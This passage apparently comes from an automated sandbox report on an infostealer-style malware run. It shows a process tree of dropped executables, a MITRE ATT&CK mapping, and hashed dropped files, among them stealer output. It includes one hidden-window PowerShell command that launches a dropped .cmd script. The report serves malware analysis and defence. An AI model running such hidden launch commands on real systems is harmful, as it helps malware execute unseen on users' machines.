                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4952 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4892 -prefMapHandle 4948 -prefsLen 32790 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a558aeac-59f6-4994-bbd6-cf7b1f53162d} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" utility
                                                                                6⤵
                                                                                  PID:5732
                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5088 -childID 3 -isForBrowser -prefsHandle 5080 -prefMapHandle 5076 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 900 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02be2c0c-0d45-414e-906e-3c0c234eea6a} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" tab
                                                                                  6⤵
                                                                                    PID:5208
                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5224 -childID 4 -isForBrowser -prefsHandle 5232 -prefMapHandle 5236 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 900 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {feada0d0-1d7a-41b9-a02b-3ac12485e122} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" tab
                                                                                    6⤵
                                                                                      PID:5188
                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5416 -childID 5 -isForBrowser -prefsHandle 5424 -prefMapHandle 5428 -prefsLen 27097 -prefMapSize 244658 -jsInitHandle 900 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c13fe11-dd3d-4905-a156-755f124b6a4e} 5800 "\\.\pipe\gecko-crash-server-pipe.5800" tab
                                                                                      6⤵
                                                                                        PID:5372
                                                                                • C:\Users\Admin\AppData\Local\Temp\10157660101\d8d347b27f.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\10157660101\d8d347b27f.exe"
                                                                                  3⤵
                                                                                    PID:1456
                                                                                  • C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe"
                                                                                    3⤵
                                                                                      PID:1948
                                                                                      • C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe"
                                                                                        4⤵
                                                                                          PID:4884
                                                                                        • C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\10157670101\1u5Tubh.exe"
                                                                                          4⤵
                                                                                            PID:5316
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10157681121\ESo034G.cmd"
                                                                                          3⤵
                                                                                            PID:6684
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              powershell -windowstyle hidden -command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\10157681121\ESo034G.cmd' -ArgumentList 'OrgEumWNliPbsv' -WindowStyle Hidden"
                                                                                              4⤵
                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                              PID:6744
                                                                                          • C:\Users\Admin\AppData\Local\Temp\10157690101\znIuBze.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\10157690101\znIuBze.exe"
                                                                                            3⤵
                                                                                              PID:6672
                                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          1⤵
                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                          • Checks BIOS information in registry
                                                                                          • Executes dropped EXE
                                                                                          • Identifies Wine through registry keys
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          PID:3028
                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                          1⤵
                                                                                          • Checks processor information in registry
                                                                                          • Enumerates system info in registry
                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:3924
                                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                          1⤵
                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                          • Checks BIOS information in registry
                                                                                          • Executes dropped EXE
                                                                                          • Identifies Wine through registry keys
                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                          PID:4664
                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1896 -ip 1896
                                                                                          1⤵
                                                                                            PID:2332
                                                                                          • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                            1⤵
                                                                                              PID:4824
                                                                                            • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                              1⤵
                                                                                                PID:6040

                                                                                              Network

                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                    Reconnaissance

                                                                                                    Resource Development

                                                                                                    Initial Access

                                                                                                    Execution

                                                                                                    Command and Scripting Interpreter

                                                                                                    1
                                                                                                    T1059

                                                                                                    PowerShell

                                                                                                    1
                                                                                                    T1059.001

                                                                                                    Scheduled Task/Job

                                                                                                    1
                                                                                                    T1053

                                                                                                    Scheduled Task

                                                                                                    1
                                                                                                    T1053.005

                                                                                                    Persistence

                                                                                                    Boot or Logon Autostart Execution

                                                                                                    1
                                                                                                    T1547

                                                                                                    Registry Run Keys / Startup Folder

                                                                                                    1
                                                                                                    T1547.001

                                                                                                    Event Triggered Execution

                                                                                                    1
                                                                                                    T1546

                                                                                                    Netsh Helper DLL

                                                                                                    1
                                                                                                    T1546.007

                                                                                                    Modify Authentication Process

                                                                                                    1
                                                                                                    T1556

                                                                                                    Scheduled Task/Job

                                                                                                    1
                                                                                                    T1053

                                                                                                    Scheduled Task

                                                                                                    1
                                                                                                    T1053.005

                                                                                                    Privilege Escalation

                                                                                                    Boot or Logon Autostart Execution

                                                                                                    1
                                                                                                    T1547

                                                                                                    Registry Run Keys / Startup Folder

                                                                                                    1
                                                                                                    T1547.001

                                                                                                    Event Triggered Execution

                                                                                                    1
                                                                                                    T1546

                                                                                                    Netsh Helper DLL

                                                                                                    1
                                                                                                    T1546.007

                                                                                                    Scheduled Task/Job

                                                                                                    1
                                                                                                    T1053

                                                                                                    Scheduled Task

                                                                                                    1
                                                                                                    T1053.005

                                                                                                    Defense Evasion

                                                                                                    Modify Authentication Process

                                                                                                    1
                                                                                                    T1556

                                                                                                    Modify Registry

                                                                                                    1
                                                                                                    T1112

                                                                                                    Obfuscated Files or Information

                                                                                                    1
                                                                                                    T1027

                                                                                                    Command Obfuscation

                                                                                                    1
                                                                                                    T1027.010

                                                                                                    Virtualization/Sandbox Evasion

                                                                                                    2
                                                                                                    T1497

                                                                                                    Credential Access

                                                                                                    Credentials from Password Stores

                                                                                                    1
                                                                                                    T1555

                                                                                                    Credentials from Web Browsers

                                                                                                    1
                                                                                                    T1555.003

                                                                                                    Modify Authentication Process

                                                                                                    1
                                                                                                    T1556

                                                                                                    Steal Web Session Cookie

                                                                                                    1
                                                                                                    T1539

                                                                                                    Unsecured Credentials

                                                                                                    3
                                                                                                    T1552

                                                                                                    Credentials In Files

                                                                                                    3
                                                                                                    T1552.001

                                                                                                    Discovery

                                                                                                    Browser Information Discovery

                                                                                                    1
                                                                                                    T1217

                                                                                                    Query Registry

                                                                                                    8
                                                                                                    T1012

                                                                                                    Remote System Discovery

                                                                                                    1
                                                                                                    T1018

                                                                                                    System Information Discovery

                                                                                                    5
                                                                                                    T1082

                                                                                                    System Location Discovery

                                                                                                    1
                                                                                                    T1614

                                                                                                    System Language Discovery

                                                                                                    1
                                                                                                    T1614.001

                                                                                                    System Network Configuration Discovery

                                                                                                    2
                                                                                                    T1016

                                                                                                    Internet Connection Discovery

                                                                                                    1
                                                                                                    T1016.001

                                                                                                    Wi-Fi Discovery

                                                                                                    1
                                                                                                    T1016.002

                                                                                                    Virtualization/Sandbox Evasion

                                                                                                    2
                                                                                                    T1497

                                                                                                    Lateral Movement

                                                                                                    Collection

                                                                                                    Data from Local System

                                                                                                    3
                                                                                                    T1005

                                                                                                    Command and Control

                                                                                                    Web Service

                                                                                                    1
                                                                                                    T1102

                                                                                                    Exfiltration

                                                                                                    Impact

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads

                                                                                                    AFCAAEGDBKJJKECBKFHC
                                                                                                    • Path C:\ProgramData\AFCAAEGDBKJJKECBKFHC
                                                                                                    • Size 40KB
                                                                                                    • SHA256 42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    IJDGCAEBFIIECAKFHIJE
                                                                                                    • Path C:\ProgramData\IJDGCAEBFIIECAKFHIJE
                                                                                                    • Size 48KB
                                                                                                    • SHA256 c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    Q4EYPBfmH.hta
                                                                                                    • Path C:\Temp\Q4EYPBfmH.hta
                                                                                                    • Size 779B
                                                                                                    • SHA256 f685edf8437c0b505f5e366d8b1cb79e7770361cc4906240e7f8c8ad32c94e84
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    Bookmarks.txt
                                                                                                    • Path C:\Users\Admin\AppData\Local\607824c4c6d55cd330197fbbf76d7406\Admin@GOIGNWEJ_en-US\Browsers\Firefox\Bookmarks.txt
                                                                                                    • Size 105B
                                                                                                    • SHA256 c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    Process.txt
                                                                                                    • Path C:\Users\Admin\AppData\Local\607824c4c6d55cd330197fbbf76d7406\Admin@GOIGNWEJ_en-US\System\Process.txt
                                                                                                    • Size 4KB
                                                                                                    • SHA256 305e80bfde3afde4337654b41de1e95e2eec1aedfc25b67ffd4fdae906f16d0b
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    SCT Auditing Pending Reports
                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                    • Size 2B
                                                                                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    conhost.exe.log
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log
                                                                                                    • Size 539B
                                                                                                    • SHA256 73d84fd03e38f1bbf8b2218f8a454f0879051855252fc76b63f20f46e7fd877f
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    powershell.exe.log
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                                    • Size 2KB
                                                                                                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    powershell.exe.log
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                                                    • Size 2KB
                                                                                                    • SHA256 7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    20625ae1-735a-43af-abe5-24a2dce3ff2c.dmp
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\20625ae1-735a-43af-abe5-24a2dce3ff2c.dmp
                                                                                                    • Size 829KB
                                                                                                    • SHA256 8386d41fd176bd6e9828ddb81a2234e53b71e778488f6aa1ecf2d1127d86d07c
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    b00909ae-a36a-463d-b8a6-35e212a30bc0.dmp
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\b00909ae-a36a-463d-b8a6-35e212a30bc0.dmp
                                                                                                    • Size 829KB
                                                                                                    • SHA256 6756b7310b4e08002b22fa762a95117c03505f052686791416e7dab3c268b65c
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    f3e8c689-7694-4748-b24c-42cc85405d4c.dmp
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports\f3e8c689-7694-4748-b24c-42cc85405d4c.dmp
                                                                                                    • Size 826KB
                                                                                                    • SHA256 d1f1f677df086c0b0e2c2cff34d164ffa895fdb0fd03309ef0f3db2bcefa01b5
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    settings.dat
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                    • Size 152B
                                                                                                    • SHA256 8f49a43a08e2984636b172a777d5b3880e6e82ad25b427fef3f05b7b4f5c5b27
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    settings.dat
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                    • Size 152B
                                                                                                    • SHA256 d8b542281740c12609279f2549f85d3c94e6e49a3a2a4b9698c93cca2dce486c
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    settings.dat
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                    • Size 152B
                                                                                                    • SHA256 5fec484b8e9c744fc41e8896271b7342b40e74fe5c08ea86bd5cedc8222e7c23
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    settings.dat
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                    • Size 152B
                                                                                                    • SHA256 06d8195f01d0b44f47fca8b6a1ed18d2c801929ffd149c9217edd75ae5bcc864
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    Preferences
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                    • Size 5KB
                                                                                                    • SHA256 877d31a35cd920e26074877b0e80955f91f35b4804a778d0a04697bc84e28e40
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    data_1
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1
                                                                                                    • Size 264KB
                                                                                                    • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    soft[1]
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\07I069W9\soft[1]
                                                                                                    • Size 987KB
                                                                                                    • SHA256 81e31780a5f2078284b011c720261797eb8dd85e1b95a657dbce7ac31e9df1f0
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 15KB
                                                                                                    • SHA256 7ec3be12ec75f4f165f841cda98390ceb91ac068c42be40ed425254c24195edf
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 18KB
                                                                                                    • SHA256 18bb1b18d4e9119a00cf954b58b1229f17de808eb648c05f239779ab279c0320
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 16KB
                                                                                                    • SHA256 4e413111cd15236d38fe2769ce8228ef4c92fd390dc93b94581ad05eabb2f4e2
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 17KB
                                                                                                    • SHA256 3b651bcc19cdea532f3936b4972421d2d77a4374277a67fcbed39009abdb830e
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 17KB
                                                                                                    • SHA256 31044f3d6dcdcb4d4615fc2529817f4c5797e1ee989594ecc92b76df373b8849
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 17KB
                                                                                                    • SHA256 ba3d4d2a71643f6cd067110b830ba3d75ae2016804b8236b1ab0669d0039b876
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 16KB
                                                                                                    • SHA256 da615bf26aee45e154146e3e9c210bf3f37a098ed65a4189e90d2ebb10356f91
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 18KB
                                                                                                    • SHA256 debf048c68ddad5216d2011ef8d84a68398a76586c66f800cd60f745088cf73d
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 18KB
                                                                                                    • SHA256 cc5c04ddc05645068f387caf0223446c44c0ecb96f162e0f0bc0b4dab017fde4
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 944B
                                                                                                    • SHA256 5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    StartupProfileData-NonInteractive
                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                    • Size 944B
                                                                                                    • SHA256 e6254c2bc9846a76a4567ab91b6eae76e937307ff9301b65d577ffe6e15fe40a
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    asrouter.ftl
                                                                                                    • Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\uxecp77c.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                                                                                                    • Size 15KB
                                                                                                    • SHA256 7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    TempHAQHM8CDYBU7BX9T2CVJCGXMBVW3WUS8.EXE
                                                                                                    • Path C:\Users\Admin\AppData\Local\TempHAQHM8CDYBU7BX9T2CVJCGXMBVW3WUS8.EXE
                                                                                                    • Size 1.8MB
                                                                                                    • SHA256 00a79b298cea250339bca9e396600ec2e79af7fa1adfd6a65a4d17156f64a1a3
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    ._cache_ipKwUq9.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\._cache_ipKwUq9.exe
                                                                                                    • Size 175KB
                                                                                                    • SHA256 adf99fe1b61a1a7d2d61b9e25f2a79fc9a781d49fb864f1859194c91162d822b
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    0C785E00
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\0C785E00
                                                                                                    • Size 27KB
                                                                                                    • SHA256 ca94f99aadf6dc2b78f8e99ffbf99b5689cfbddca47c9a429de3439de74a89e1
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    cuFIzyH.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10155390101\cuFIzyH.exe
                                                                                                    • Size 1.8MB
                                                                                                    • SHA256 f316d9102eac2c6267cab00f83303ec744fe397344aa142abf4b071d836d6ce1
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    079709c541.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10156860101\079709c541.exe
                                                                                                    • Size 938KB
                                                                                                    • SHA256 5cde66abe83d06f526d3edc6cf545f9119aaaedf13f49ad9e51e566dca93a6ad
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    am_no.cmd
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10156870121\am_no.cmd
                                                                                                    • Size 1KB
                                                                                                    • SHA256 5e951726842c371240a6af79d8da7170180f256df94eac5966c07f04ef4d120b
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    WoFY6iv.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157090101\WoFY6iv.exe
                                                                                                    • Size 4.1MB
                                                                                                    • SHA256 efffe5033d6d72c63e502252bbe8da82433c211a87dedc66368d5ce82db69fe6
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    ipKwUq9.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157290101\ipKwUq9.exe
                                                                                                    • Size 928KB
                                                                                                    • SHA256 9426ffe41d01018de7f0af843af8856df6d4180ded22dccdee87652671cbc40c
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    znIuBze.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157520101\znIuBze.exe
                                                                                                    • Size 6.9MB
                                                                                                    • SHA256 1be77012b7c721e4d4027f214bad43253c1f0116c6b2a4364685d8d69120e2aa
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    4606e03ca1.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157550101\4606e03ca1.exe
                                                                                                    • Size 3.7MB
                                                                                                    • SHA256 fb808e6cd13d2574e3f0fa065b8e225d4f31f07137ab25280203014edb28d367
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    395661cf35.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157560101\395661cf35.exe
                                                                                                    • Size 1.8MB
                                                                                                    • SHA256 18e9954bfbce148a1685d05eaa07af649aa511fcf4a72157ca0eb4260413d2c4
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    ESo034G.cmd
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157571121\ESo034G.cmd
                                                                                                    • Size 6.0MB
                                                                                                    • SHA256 6dde1e5c1e870efde29acaaa62e337bc51cdda9db601c94b68e10ccc8aed297e
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    3904c4ea3f.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157590101\3904c4ea3f.exe
                                                                                                    • Size 4.5MB
                                                                                                    • SHA256 9d680c6977eb4d72c9eb94b1e5a2301e99a0ecb7815c787f6e796549b3b8b34a
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    46958ca736.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157600101\46958ca736.exe
                                                                                                    • Size 364KB
                                                                                                    • SHA256 ebf04432efd04f6cef2c51164bb25c78867f0c8f7e361653408f74e7b5e1f2f6
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    1u5Tubh.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157610101\1u5Tubh.exe
                                                                                                    • Size 1.2MB
                                                                                                    • SHA256 fdc206425fa0eced072999a4096261482d940d0086f727b6e1ec778890f1c717
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    8ee6751c88.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157630101\8ee6751c88.exe
                                                                                                    • Size 3.1MB
                                                                                                    • SHA256 b030ef2260535a8d06e1e22152fba65008e4eacbe466aeb26c4e7bf58d02bb40
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    29a630c261.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157640101\29a630c261.exe
                                                                                                    • Size 1.7MB
                                                                                                    • SHA256 3bac8dce350305de189b40477c5d6f86b6d4f60423f2e0f7242093eac0848553
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    c6c6a56f77.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157650101\c6c6a56f77.exe
                                                                                                    • Size 949KB
                                                                                                    • SHA256 517ec03fef79ee559848969015899780bd2b2143c1bcf0d4975a3d23a81a2275
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    d8d347b27f.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\10157660101\d8d347b27f.exe
                                                                                                    • Size 1.7MB
                                                                                                    • SHA256 8546cd191fdd75e5e6c5ba12ee919d54d1b9dba51acd7ba0f85f5e9a9309a3ae
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    TrKMlmoTo.hta
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\TrKMlmoTo.hta
                                                                                                    • Size 717B
                                                                                                    • SHA256 639289ea8cadaa9b6b1baeadec70e204085bda984d61401e2e9679020a81c4fa
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    __PSScriptPolicyTest_octqgbue.g5g.ps1
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_octqgbue.g5g.ps1
                                                                                                    • Size 60B
                                                                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                    • MD5 SHA1 SHA512
                                                                                                    Submit Download

                                                                                                    rapes.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                                    • Size 1.8MB
                                                                                                    • SHA256 1285fdb82e7930812a9c52e680143cea311d8b147cb7aa8b6ea3637e8b94a9fc
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    build.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\build.exe
                                                                                                    • Size 2.1MB
                                                                                                    • SHA256 3f5a99aee47d646446ebaa5939ec155de752602a2fa1dd4eadae75048288c7e0
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    ebuild.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\ebuild.exe
                                                                                                    • Size 2.0MB
                                                                                                    • SHA256 f4badf92dddaf4d1b8bac9f4dd2a601f90be4b92e30492993ab231ad06468432
                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                    Submit Download

                                                                                                    fbuild.exe
                                                                                                    • Path C:\Users\Admin\AppData\Local\Temp\fbuild.exe
                                                                                                    • Size 4.1MB
